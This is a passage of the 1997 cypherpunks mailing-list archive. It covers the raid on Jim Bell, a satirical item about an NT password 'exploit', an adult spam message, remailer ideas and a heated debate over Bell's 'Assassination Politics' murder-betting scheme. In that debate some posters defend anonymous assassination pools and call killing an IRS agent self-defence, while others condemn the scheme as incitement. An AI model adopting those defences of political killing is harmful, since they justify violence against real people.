decrypt the passwords because of NT's lax cryptography. When asked about
the possibility that her exploits come out of other areas, such as
bugtraq or dcstuff, Meinel replied with "Oh, I'd say I only get %5 from
the other lists." When asked again, she came back with "Ok, well about
%lk3j3pfv;ldjf08w  damn line noise anyways, the point is that I found an
x-ploit in NT that should be fixed."
	Mike Nash, Director of Marketing for WindowsNT thinks differently
of though. "Even Ms. Meinel said that if you use 'really big passwords'
than decryption is not possible. If you look at the NT manuals, you will
notice that they have always cautioned to use really big passwords.
Besides, isn't this the same bug that was found last week?"
	We tried to reach Meinel for comment, but she was unreachable.
Getting a straight answer out of her "is like nailing Jello to the wall,"
as one crypto-hacker put it after talking to her.
                                                                         
T.I.


Incubus                                                 "SunOS, the swiss
the_incubus@juno.com                         cheese of UNIX"
...Major





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Thu, 3 Apr 1997 21:29:43 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: Jim Bell raid
In-Reply-To: <199704040410.WAA02207@manifold.algebra.com>
Message-ID: <Pine.GSO.3.95.970404002508.11418A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


Yes, there are. I have a copy of the search warrant, IRS affidavit, and
list of seized items. Beyond that, there's nothing else in the court
record. And the U.S. Attorney isn't saying much.

-Declan

On Thu, 3 Apr 1997, Igor Chudov @ home wrote:

> To all lawyers out there: aren't there PUBLIC RECORDS that contain
> teh search warrant with the probably cause explanation and other
> material? It would be interesting to send a letter to some court
> and ask for all public record stuff about jimbell.
> 
> just an idea
> 
> igor
> 
> Duncan Frissell wrote:
> > 
> > -----BEGIN PGP SIGNED MESSAGE-----
> > 
> > At 12:16 PM 4/3/97 -0800, Greg Broiles wrote:
> > 
> > >It looks to me like this is real. Yow. Jim Bell is a goddamn loon, but I
> > >haven't seen him write anything that I thought was criminal. 
> > 
> > The government persists in harassing or arresting people in these 1st
> > Amendment cases even though they know they will not even be able to survive a
> > motion to dismiss.  It seems to be recreational for them.  You can tell
> > they're not serious because they didn't arrest Jim.   
> > 
> > JB has certainly managed to get noticed amongst all the "noise" out there in
> > the world.  Very difficult to do.  And it's getting worse with the Nets.  How
> > many death threats must whitehouse.gov get these days?  They probably lack
> > the person power to investigate all of them.  
> > 
> > This will be another one where the raid gets publicity and the failure to
> > prosecute is only noticed by a few.  When they drop him, he should trumpet it
> > far and wide.  The dropping of the Jake Baker case got little publicity and I
> > even had another lawyer on one of the law lists say that he thought they
> > might try for another indictment.  I knew they'd never get anywhere.
> > 
> > In those very rare cases where you get a guaranteed government loss criminal
> > investigation/prosecution the party involved should verbally abuse the
> > government and point out their manifest pathetic weakness.  It is very rare
> > to be in that situation because the government won't usually back a loser.  I
> > urged Phil Z. to take an aggressive approach in his case but he felt
> > uncomfortable about the idea.  Perhaps as a "leftie" he granted the inherent
> > authority of the government and was reluctant to bash it.
> > 
> > So, JB, find a Portland cybercafe and let 'em have it.
> > 
> > DCF
> > 
> > "Obligatory John Donne quote:  Do Not Ask For Whom the Bell Tools.  It Tolls
> > For Thee."
> > -----BEGIN PGP SIGNATURE-----
> > Version: 4.5
> > 
> > iQCVAgUBM0RxR4VO4r4sgSPhAQFEDQP/b8QTvGKipSK4sUDvKIIznESmPQRncGP9
> > i2venrurNxIiHWorP+C+lpDdrXlC+lrcOfT6WLBFkV7UZTF5qduTqavtXYvCA+7W
> > 1aF6CrE9dWUZNzjnpxMI2t3/Wpr/F7JF+nE1r2R3d6/pCtYZPw3gDeraS34hWXqp
> > tDeuUYPEOyg=
> > =0Znu
> > -----END PGP SIGNATURE-----
> > 
> 
> 
> 
> 	- Igor.
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Thu, 3 Apr 1997 21:34:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: EVENT!  Rep. Rick White to hold live online town hall meeting 4/10!
In-Reply-To: <199704040431.XAA07521@panix3.panix.com>
Message-ID: <Pine.GSO.3.95.970404003029.11418C-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


Folks participating in this event may want to ask Rep. White why he
supports the "harmful to minors" Net-censorship standard. (How can I tell
if material on my web page is "harmful" to some Bible Belt fundies? How
can I block kids from viewing my site? Same problems we have with the CDA
1.0.)

If he gives satisfactory answers, then -- and only then -- will he be a
"leader on Internet policy issues." After all, the best Internet policy is
to just leave it alone.

-Declan


On Thu, 3 Apr 1997, Shabbir Safdar wrote:

> =========================================================================
>      _                                                             _
>   __| | ___ _ __ ___   ___   ___ _ __ __ _  ___ _   _   _ __   ___| |_
>  / _` |/ _ \ '_ ` _ \ / _ \ / __| '__/ _` |/ __| | | | | '_ \ / _ \ __|
> | (_| |  __/ | | | | | (_) | (__| | | (_| | (__| |_| |_| | | |  __/ |_
>  \__,_|\___|_| |_| |_|\___/ \___|_|  \__,_|\___|\__, (_)_| |_|\___|\__|
>                                                 |___/
>                          Government Without Walls
> _________________________________________________________________________
> Update No.3              http:/www.democracy.net/            April 3 1997
> _________________________________________________________________________
> Table of Contents
> 
>  - Join Internet Caucus Co-Founder Rick White (R-WA) Live Online April 10.
>  - Background on Rep. White
>  - Upcoming Events
>  - About democracy.net
> ___________________________________________________________________________
> JOIN INTERNET CAUCUS-CO FOUNDER REP. RICK WHITE (R-WA) LIVE ONLINE!
> 
> Representative Rick White (R-WA), co-founder of the Congressional Internet
> Caucus and leader on Internet policy issues, will be the guest at
> democracy.net's first live, interactive 'town hall meeting' on Thursday
> April 10 at 8:30 pm ET (5:30 pm PST).
> 
> The town hall meeting, moderated by Wired Magazine's Todd Lappin, will be
> completely virtual.  The discussion will be cybercast live via RealAudio,
> and listeners can join a simultaneous interactive chat discussion and pose
> questions to Rep. White.
> 
> This is a unique opportunity for Internet users to discuss current Internet
> issues, including efforts to reform US Encryption policy, the future of the
> Communications Decency Act, the activities of the Congressional Internet
> Caucus, and others.
> 
> Details on the event, including instructions on how you can submit questions
> in advance, are attached below.
> 
> ____________________________________________________________________________
> INSTRUCTIONS ON HOW TO PARTICIPATE
> 
>          * Interactive Town Hall Meeting with Rep. Rick White (R-WA) *
> 
>  DATE:      Thursday, April 10, 1997
>  TIME:      5:30 pm PST / 8:30 pm EST
>  LOCATION:  http://www.democracy.net
> 
> In advance of the town hall meeting, please visit http://www.democracy.net
> and fill out the form to ask Rep. White a question.  We will collect the
> questions and forward them to the moderator on the day of the event, and
> will make every effort to ensure that questions from constituents are asked
> first.
> 
> 1. Attend and ask Rep. White a question!
> 
>    Please mark this date in your calendar: Thursday April 10, 5:30PM PST
>    at http://democracy.net/
> 
> 2. Get your friends and co-workers to join the discussion
> 
>    Members of Congress love to hear from their constituents. If you have
>    friends that live in the district, please forward this invitation and
>    encourage them to attend.
> 
> _____________________________________________________________________________
> BACKGROUND
> 
> Congressman Rick White, 43, is serving his second term representing the
> people of the First Congressional District of Washington state, which
> includes parts of Seattle, Redmond, and surrounding areas.
> 
> In 1995, White gained national attention through his work on the
> Internet and high-technology issues. He was one of a handful of members
> selected to develop the final Telecommunications Act of 1996.  As the
> founder of the Congressional Internet Caucus, he has worked to educate
> members of Congress about the Internet and to create a more open,
> participatory government through the use of technology.
> 
> Additional Information can be found at the following locations:
> 
> * Rep. Rick White's Home Page   --   http://www.house.gov/white/
> * democracy.net Page            --   http://www.democracy.net/
> 
> _______________________________________________________________________________
> UPCOMING EVENTS
> 
> Representative Anna Eshoo (D-CA), Internet policy leader from Silicon
> Valley, will be the guest at democracy.net's interactive 'town hall meeting'
> on Wednesday April 16 at 8:30 pm ET (5:30 pm PST).
> 
> Visit http://www.democracy.net for more details.
> 
> _______________________________________________________________________________
> ABOUT DEMOCRACY.NET
> 
> The democracy.net is a joint project of the Center for Democracy and
> Technology (CDT) and the Voters Telecommunications Watch (VTW) to explore
> ways of enhancing citizen participation in the democratic process via
> the Internet.
> 
> To this end, democracy.net will host live, interactive cybercasts of
> Congressional Hearings and online town hall meetings with key policy makers.
> 
> democracy.net is made possible through the generous support of WebActive,
> Public Access Networks, the Democracy Network, and DIGEX Internet.  More
> information about the project and its sponsors can be found at
> http://www.democracy.net/about/
> 
> To receive democracy.net announcements automatically, please visit our
> signup form at http://www.democracy.net/
> 
> _____________________________________________________________________________
> End update no.3                                                    04/03/1997
> =============================================================================
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: johnp345@norway-c.it.earthlink.net
Date: Fri, 4 Apr 1997 05:34:48 -0800 (PST)
To: You130@aol.com
Subject: Hey Baby! XOXOXO
Message-ID: <199704041158.DAA06776@sweden.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain




Click Here


18 and over only!



















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dsmith@prairienet.org>
Date: Fri, 4 Apr 1997 00:10:01 -0800 (PST)
To: Toto <cypherpunks@toad.com
Subject: Re: Assassination Politics on Website
Message-ID: <3.0.32.19970404020726.007c27c0@midwest.net>
MIME-Version: 1.0
Content-Type: text/plain


At 11:06 PM 4/3/97 -0600, Toto wrote:
>Jim Bell's "Assassination Politics" is at:
>http://www3.sk.sympatico.ca/carljohn/

Toto, I'm disappointed. You didn't even point them at
http://bureau42.base.org/public/apfull.txt
where the (AFAIK) complete AP essays have lived for months.

(Note that's the same site that hosts The Xenix Chainsaw
Massacre and the current drafts of WebWorld: The True
Story of the Internet, modulo the last part of the URL.)

dave




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 4 Apr 1997 00:37:33 -0800 (PST)
To: "David E. Smith" <dsmith@prairienet.org>
Subject: Re: Assassination Politics on Website
In-Reply-To: <3.0.32.19970404020726.007c27c0@midwest.net>
Message-ID: <3344BD62.2068@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


David E. Smith wrote:
> 
> At 11:06 PM 4/3/97 -0600, Toto wrote:
> >Jim Bell's "Assassination Politics" is at:
> >http://www3.sk.sympatico.ca/carljohn/
> 
> Toto, I'm disappointed. You didn't even point them at
> http://bureau42.base.org/public/apfull.txt
> where the (AFAIK) complete AP essays have lived for months.
> 
> (Note that's the same site that hosts The Xenix Chainsaw
> Massacre and the current drafts of WebWorld: The True
> Story of the Internet, modulo the last part of the URL.)

Dave,
  Thanks for the pointer.
  The one I threw up was just a quickie, and is double spaced
throughout. I'm sure the one you have up is better formatted.
  I talked to Jim Bell tonight and he thinks the basic charges
will be 'intent to have a bad attitude'.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 4 Apr 1997 05:13:37 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: Jim Bell raid
In-Reply-To: <199704040533.XAA03035@manifold.algebra.com>
Message-ID: <Pine.GSO.3.95.970404050710.29767A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


I've had a couple requests to redistribute or post the info I have on Jim
Bell. I've decided not to. There's a good bit of personal information in
there, including his SSN and information about financial investments, that
I don't feel comfortable posting. I suspect Jim has enough problems
already.

Yes, I know, "information will be free" and all that, but I don't have to
be the cause of its release.

-Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 4 Apr 1997 05:37:12 -0800 (PST)
To: declan@well.com (Declan McCullagh)
Subject: Re: Jim Bell raid
In-Reply-To: <Pine.GSO.3.95.970404050710.29767A-100000@well.com>
Message-ID: <199704041329.HAA07221@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Declan McCullagh wrote:
> 
> I've had a couple requests to redistribute or post the info I have on Jim
> Bell. I've decided not to. There's a good bit of personal information in
> there, including his SSN and information about financial investments, that
> I don't feel comfortable posting. I suspect Jim has enough problems
> already.
> 
> Yes, I know, "information will be free" and all that, but I don't have to
> be the cause of its release.
> 

Oh, OK, I did not know.

Anyway, how does one request that information? What should the letter
to the court say? And what is the address of teh court?

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 4 Apr 1997 08:49:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: CypherPunk Prophets / Voices Barfing In The Wilderness / ***CRYPTO RELATED---> Remailers <---CRYPTO RELATED***
In-Reply-To: <3.0.1.32.19970403133700.00693cb8@flash.net>
Message-ID: <3345308A.6DC3@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


rocket3@ibm.net wrote:
> Hello!  I wanted to share something very important.

> The God of heaven sent his only Son to this earth
> to let us have a way to be right with God,

  I hate (love!!!) to say, "I told you so.", but...

  I realize that Tim May is the CypherPunk Prophet, foretelling
developments that actually have something remotely to do with
crypto, whereas I, on the other hand, am just a Voice Barfing
In The Wilderness, drunkenly rambling on about God-knows-what
(which, incidentally, reminds me what I meant to say).

  During the height of the "XXX_Your Biased Term_Here XXX" 
experiment on the list, my shotgun delusions led me to claim
that the "Big $$$" spams were just a forerunner of things
to come, with the real fruitcakes coming out of the woodwork
when they realized that they could spam us in the name of
Jesus, or Free Willy, or their brother, Joe, who needs a new
kidney.

  Sure enough, I got my first 'God and Hellfire' spam today,
along with the usual 'Betty Big-Boobs XXX Pics' email. (So I
forwarded 'Betty Big-Boobs' to him, in an attempt to slow him
down by keeping at least one of his hands busy.)

  Then there is 'Computer Jesus', whose friends call him 'Mac'...
> To: List-Abuse <list-abuse@clio.lyris.net>
> Subject: Re: Puzzling Response from juno.com
> several mailing lists whose sole
> charters are evangelizing the Macintosh. Once a message like "Write to
> Juno and tell them that they need to support the Mac!" is posted to one
> of these lists, the flood of mail from evangelical Mac users can reach
> quite a pitch. And I happen to know that Juno was recently targeted for
> just such a campaign.

  I'm still waiting for the one that reads,
"Make Big $$$ Using A 'Mac' To Tell People About Jesus's Big Boobs"
and I know it is only a matter of time before lonely losers, not 
content to bother only the CypherPunks, as I do, will be sending
out 250,000 missives informing everyone that they are having a
"Bad Hair Day".

  I notice that some of the remailer threads on the list are 
taking note of the fact that there needs to to be provisions 
for a variety of remailers capable of doing something more than
merely blocking source-specific abuse, which can open a can
of worms leading to a remailer resembling CyberSitter.
  There need to be remailers capable of being easily customized
to allow only mail 'to' specific sights, such as Crisis Hotlines,
or Whistle Blowers Anonymous, or Send A Congressman To Jail.

  There is need for a remailer which those with individual needs
can easily adapt to meet that need. Then they will be promoting
the remailer in a way that works best for them.
  For instance, there are mental health mailing lists where many
people lurk in the background, afraid to participate in discussions
because they fear discrimination, etc., if the wrong people find
out they are on the list. (I know of one case where an individual
lost the security clearance she needed to keep her job, because 
she was on a mental health support list for her child's benefit,
not her own.)
  This, to me, is a good example of the type of service that 
some remailer operators are eager to provide, but end up 
getting fed up or shut down over the bullshit, instead.

  The more options for instituting use of customized remailers,
the more functional they will be to a wide range of people, and
the more exposure/use they will get.
  Majordomo, for instance, provides for such things as disabling
the 'who' command, to protect identities on medical related lists,
etc., or only allowing subscribers to post.
  If a list operator can program a remailer to send only to their
own list, then they can make it a subscriber and allow people who
fear being discovered to post their concerns through it anonymously,
and advertise its existence in places where those most likely to
need it will find out about the service.

  A good way to promote remailer use is to allow them to be adapted
to purposes that a wider range of people have a specific interest in.
  "Crisis Line Anonymous Remailer" is instantly recognizable to a 
certain segment of people as something that applies to them, as is
"Government Abuse Anonymous Hotline Remailer".

  The current remailer threads on the list contain some excellent
ideas about how to develop remailers that are something other than
generic spammers. I hope that these threads result in new generations
and varieties of remailers that will spread their use by virtue of
being functional to those who really need them for addressing serious
issues in their personal life and in society at large.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Fri, 4 Apr 1997 09:28:14 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Feds reading this list, Jim Bell, and threats
In-Reply-To: <5i1l02$3p9@life.ai.mit.edu>
Message-ID: <33453A2A.167E@ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
> 
> At 3:17 PM -0800 4/3/97, Anil Das wrote:
>     Gee. I too wonder about that, since I am pretty
> >sure the Feds don't have to time to read the cypherpunks
> >list.
> 
> This is simply not true. Various government agencies/employees read the
> Cypherpunks list.

Absolutely! I know quite a few who do.

Before Oaklahoma I spent some time trying to persuade people to take
notice of the net.activities of the likes of Ahmed Cosar, an agent
of the Turkish secret service who posted inflamatory material about
Armenia into various newsgroups under the name Hasan B. Mutlu and 
Serdar Argic. I'd guess that at this point the FBI has its own
version of DejaNews.

Its not hard to do analysis of USEnet, a bit of simple graph
analysis. The real loons tend to turn up on the net.kooks 
list quites quickly in any case.


> This is not a matter of thinking ourselves self-important; this is just a
> simple observation that there aren't a lot of places with more incisive
> analysis of issues of importance to these folks. 

Plus not everyone in the agencies are pro the administration line. 
I've met plenty of CIA and NSA people who think the GAK idea a
pointless and futile waste of time. 

I suspect that most analysts read c'punks for the same reason I
do, to get the widest possible range of views on what the posibilities
for the future are.


> Political advocacy is one thing, but making threats, even veiled ones, is
> another matter.

Absolutely, that is why I was keen for people to oppose Bell's views.
If his ramblings had gone unchallenged he would now be being
presented as a representative of Cypherpunk/ pro-crypto views.

Besides anything else Bell was like the party bore with a 
hobby horse he just has to talk about. I'm somewhat more
sensitive than most to advocates of murdering government 
officials, some of my relatives are in government and have 
had well publicised assasination attempts against them.


I think that Bell's on-list comments may well have been protected
speech but I'm not sure about his off list comments. I'm scanning
through my old mail files at the moment for missives from Bell
re-reading them. 

I think that Bell's posts were entirely different from Tim's or
for that matter almost every other person on the list. Tim 
demonstrated that a covert information sales organisation was
possible with Blacknet but he never advocated setting it up. 
Indeed part of the point was the ethical responsibilities. Bell
on the other hand was likely to respond to any post with his
AP piece. I have throughout considered these to be incitement to 
murder.


It seems quite likely that Bell may have made a statement to an
IRS official that in the context of his authoring the AP piece
may have constituted a threat. If he spouted "Common law court" 
theories as often to the IRS as he did AP on cypherpunks he would
certainly have been marked for scrutiny. Its not hard to 
connect with his AP piece which has been all over USEnet. According
to the story they got it from a copy left behind in Bell's 
seized Honda.


	Phill




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 4 Apr 1997 09:37:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cryptographer Hits SNL
Message-ID: <1.5.4.32.19970404172850.006d5714@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Ex-Sandia Labs cryptographer William Payne has filed criminal 
charges with Judge Marilyn Patel against an SNL official for 
unauthorized disclosure of files:

   http://jya.com/snlhit.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Fri, 4 Apr 1997 09:30:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Bell explodes Freeh theory!
Message-ID: <33453AB5.2781@ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


How is Louis Freeh going to keep up the pretense that GAK
will keep crypto out of the hands of drug dealers while
he's prosecuting Jim Bell for crypto related crimes and
Jim already has a conviction for drug manufacture?

	Phill




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 4 Apr 1997 12:50:37 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: Feds reading this list, Jim Bell, and threats
In-Reply-To: <1.5.4.32.19970404184138.00867764@pop.pipeline.com>
Message-ID: <19970404124803.38657@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, Apr 04, 1997 at 01:41:38PM -0500, John Young wrote:
> On Phil Hallam-Baker's rejoinder to Paul Bradley' defense of AP:
[...]

> Rushdie, hmm. Phil what mind-swill you elbow-tipping? Is Rushie not
> closer to Jim Bell than he is to you in challenging the arrogant mullahs
> of highly sophisticated armed thuggery. Who you shillinging for these 
> days, Crispin's bandits of the NLs?

Crispin shills for himself, not the NLs or any bandits or anyone else. 
Phil Hallam-Baker shills for Phil Hallam-Baker.  Jim Bell's advocacy
of armed thuggery speaks for itself. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Fri, 4 Apr 1997 10:27:15 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Feds reading this list, Jim Bell, and threats
In-Reply-To: <5i3942$e76@life.ai.mit.edu>
Message-ID: <33454823.446B@ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


paul@fatmans.demon.co.uk wrote:
 
> Not at all, Jim advocates the use of necessary force against an
> initiator of violence, as you would see if you have read Jims AP
> overview essay he does not advocate the use of AP to kill innocent
> people, indeed he does not intend it to kill anyone at all, Rather to
> act as a deterrent to government which would violate the NAP.

Who decides what "innocent" was?

In Jim's world it was very clear that he decided who was innocent,
he decided what his rights were, he decided who he could murder.

He limited the justifiable targets of AP to be those he thought should
be targets. His argument with the IRS appears to have included the
claim that they infringed his rights which under Bell's manifesto
gives him the right to murder them.


> Also, an inevitable consequence of anonymity and untraceable ecash is
> that assasination pools will become a feature of the political
> landscape. 

No, it is not. If it were then Digital cash would never be possible.
Society simply would not allow it and they would be right not to
do so.

It is because Bell's scheme is entirely preposterous that Digital
cash is possible. There is simply no way an AP contract could be 
enforced. The betting pool is simply one of a long line of failed
attempts to prop up the scheme.

No country could allow such a betting pool to operate from its soil,
nor any other such cover. If an IRS agent was murdered as a result
of a contract placed in an Anguilla betting pool the marines would
be landing the next week. No country that is small enough not to be 
threatened by AP has the necessary millitary strength to resist 
invasion. The benmefits of hosting the AP pool are marginal if any
therefore no country would ever host it.


>Of course there is nothing to stop someone betting that an
> innocent person should be killed, this is a great problem in the
> scheme, but if this did occur the friends and family of the victim
> would normally have a pretty good idea who placed the bet and could
> place a bet on their imminent death...

There is everythingt to stop bets being placed period.

Of course the main use of AP would be to murder familly members,
business rivals etc. AP is simply an unrestrained murder machine 
with absolutely no safeguards. 


> Besides which you seem not to have read and understood AP as you have
> ignored Jims comments about the problems of innocent people being
> killed.

This "not understood" conciet is bogus. I have read and fully 
understood Bell's article. It is in my view an incitement to murder.

I have degrees in Nuclear Physics, Electronic Engineering, I have
been offered a contract for my book on the philosophy of 
communication. If Bell can't communicate his idea to me then that is
his fault, his responsibility. I am arguing against the plan
he describes. Do not try the patronising "you are not clever enough
to understand this" line. In this case it is bluster.


> Question: Would you say the assasination of a statist who had badly
> violated the NAP (eg. A district attorney involved in prosecutions
> for drug dealing) was a crime?

Absolutely for the simple reason that mob rule, lynch law is always
criminal. If there is no due process there is no justice. 

Under AP rules the state has a perfect right to execute Bell. Bell
clearly intends the murder of government personel, therefore under
AP rules the government has the "right" to protect itself with AP
if it choses. If it decides on a less arbitrary sanction then
under AP principles that is a concession it is not required to make.

AP eliminates process and with it proof. There are no steps proposed
by which an AP initiator should deterine whether his rights have indeed
been infringed. Therefore an instigator is not acting upon actual
infringement of rights, merely suspected infringment. The state
employees
suspect Bell plots infringement of his rights. Therefore under Bell's
own theory they have the right to respond by infringing his rights,
without trial.

AP does not contain a coherent normative ethical theory.


> WRONG... The LEAs were the initiators of force and violators of the
> NAP, Jim Bell, were he to kill a member of the IRS, would not be
> commiting any crime, rather defending himself from a violation of his
> rights.

He would empirically be guilty of a crime. The courts would consider
it murder and sentence him accordingly. 

You may not consider him ethically to be guitly of something wrong.
I would disagree in that case. The LEAs have the right to initiate force
in accordance with the directions of a court order. They are
pre-emtively
protecting their personal right to defend themselves and on behalf of 
society pre-emptively protecting it.


> If I may make an analogy you are saying that were I to be attacked in
> the street, and I pulled a gun on the attacker he has a "moral" right
> to kill me to protect himself?

He could well have that legal right in certain circumstances.


> > However, I also think that there is a possibility that his statements,
> > either on cypherpunks or elsewhere, may have gone over the line in
> > terms of threatening behavior.  It may be a moral weakness on my part,
> > but I am not too inclined to defend someone who advocates shooting me.
> 
> Then you are of weak character and a closet statist.

Good, now we have discovered that names like statist, liberal etc
are not insults even if bellowed by idiots at the top of their
lungs we can return to sanity.

I will not only refuse to support Bell, I'll testify against him in
court if asked.

> If you believe
> that you are going to violate someone rights to the extent that they
> want to have you killed you clearly have some sort of problem.

People have threatened to murder me for what I have written. Salman
Rushdie is in hiding for the same reason. I don't believe that people
are fit judges of their own cause as Bell and you do.

> Otherwise you have no more to worry about than you do now, AP simply
> allows people perfect (as near as possible) anonymity, You can have
> someone assasinated now without betting pools....

I have plenty to worry about, Bells plan would lead to murder of 
innocent people. 



	Phill




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 4 Apr 1997 10:49:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Feds reading this list, Jim Bell, and threats
Message-ID: <1.5.4.32.19970404184138.00867764@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


On Phil Hallam-Baker's rejoinder to Paul Bradley' defense of AP:

Virtually all of Phil's charges against AP apply equally well to
state-sponsored killing in the natonal interest, including that
arranged by highly educated, cultured, philosophical, nuclear 
physicists and electrical engineers.

That's the issue. Who gets to decide who lives and who dies, and
how close the killer is to the slaughter, unprotected by law, by
public consensus, by popular will, by apologetics for the security
of national interest.

Jim Bell is hardly the first to articulate this challenge to the grand
tradition of the majestic state and its precursors -- the king, the 
bandit, the tribal bully, the strong -- all sanctioned beasts taking what 
their trainers want by force, while being excused and celebrated by 
fey intellectuals and balladeers of all craven submissive dress.

Rushdie, hmm. Phil what mind-swill you elbow-tipping? Is Rushie not
closer to Jim Bell than he is to you in challenging the arrogant mullahs
of highly sophisticated armed thuggery. Who you shillinging for these 
days, Crispin's bandits of the NLs?








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: null@myemail.net
Date: Fri, 4 Apr 1997 11:51:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Feds reading this list, Jim Bell, and threats
Message-ID: <19514280601774@MyEmail.net>
MIME-Version: 1.0
Content-Type: text/plain




Hallam-Baker wrote:
> 
> Timothy C. May wrote:

> > Political advocacy is one thing, but making threats, even veiled ones, is
> > another matter.
> 
> Absolutely, that is why I was keen for people to oppose Bell's views.

  Horseshit. Anybody here ever hear of the Boston Tea Party? How
about the American Revolution?  War of Independece? French Revolution?
  You know, people who said "Fuck this shit, I've had enough." People
who acted in concert to fight injustice and oppression.

  Perhaps Phill and Tim might want to take afternoon tea together
and watch the tanks roll by, since Hitler only wants Austria...
Poland...France...Britain...........
  I haven't noticed anyone on the list suggesting that they are
going to wait to buy a gun until they hear a burglar/murderer
coming through the window.
  If we are going to castigate someone for suggesting ways to take
action against oppressive taxation, then perhaps we should call
the Queen of England, tell her we're sorry for our forefather's
error in judgement, and that we'll start flying the Union Jack
again.

> If his ramblings had gone unchallenged he would now be being
> presented as a representative of Cypherpunk/ pro-crypto views.

  Excuse me? Only people whose views you personally approve of
should be presented as a representative of cypherpunk views?
  I hate to burst your bubble, Phill, but everyone on the list
is a representative of cypherpunk views and people outside the
have a right to pick and choose the various viewpoints as they
see fit.
 
> some of my relatives are in government and have
> had well publicised assasination attempts against them.

  So did Hitler and Mussolini.
 
> I think that Bell's on-list comments may well have been protected
> speech but I'm not sure about his off list comments.

  Then why bring it up? To cast vague aspersions?

> I think that Bell's posts were entirely different from Tim's or
> for that matter almost every other person on the list. Tim
> demonstrated that a covert information sales organisation was
> possible with Blacknet but he never advocated setting it up.

  So you're calling Tim a blowhard who likes to play at anarchy
but lacks the balls to propose anything concrete? *
{* DisinfoTranslation Technique (c) Greg Broiles}

> Indeed part of the point was the ethical responsibilities. Bell
> on the other hand was likely to respond to any post with his
> AP piece. I have throughout considered these to be incitement to
> murder.

  Your own propensity for murderous thoughts in no way reflects on
other individual's interpretations of Jim Bell's intentions.
  Certainly Jim Bell tended to answer questions such as, "What day
is it?" with a speech on AP, but what do hashcash programmers
discuss? Hashcash. What does anyone talk about? The things they
have an active interest in? So what's your point?
 
> It seems quite likely that Bell may have made a statement to an
> IRS official that in the context of his authoring the AP piece
> may have constituted a threat.

  It seems quite likely that Hallam-Baker is inventing facts which
don't exist because he is being paid to do so in order to do a
character assassination on Jim Bell.
  Anyone else want to jump in with off-the-wall claims about what
is "likely" and what is not?

  It seems to me that many list members have their heads further
up their ass than the Feds, since they don't even view Bell's 
threats serious enough to even arrest him. They are on a simple
fishing expedition to try to find a cause to harrass him into
shutting the fuck up.

  A *true fact* (rather than vague bullshit about what is "likely")
is that John Perry's remailer *was* used to send direct threats
to a government official.
  So, Tim and Phill, which one of you wants to step up to the plate
and be the first one to attempt to ostracize him so that his views
about the need for anonymous communications will not be taken as 
representative of the cypherpunks views?
  Or is Perry's implementation of a system that can be abused to
be allowed while Bell's theoretical design of a system to fight
oppression is not to be allowed?

  Does the government wait until the enemies missles are launched
to start preparing plans for defence and counter-attack?
  It is outright riduclous to suggest that individuals and groups
should act otherwise, and contrary to their own self-interest.

  Government and corporate entities are regularly castigated on
the cypherpunks list as thugs who must be dealt with in one manner
or another. Various levels of action are suggested in relation to
the severity of the infringement on our interests. 
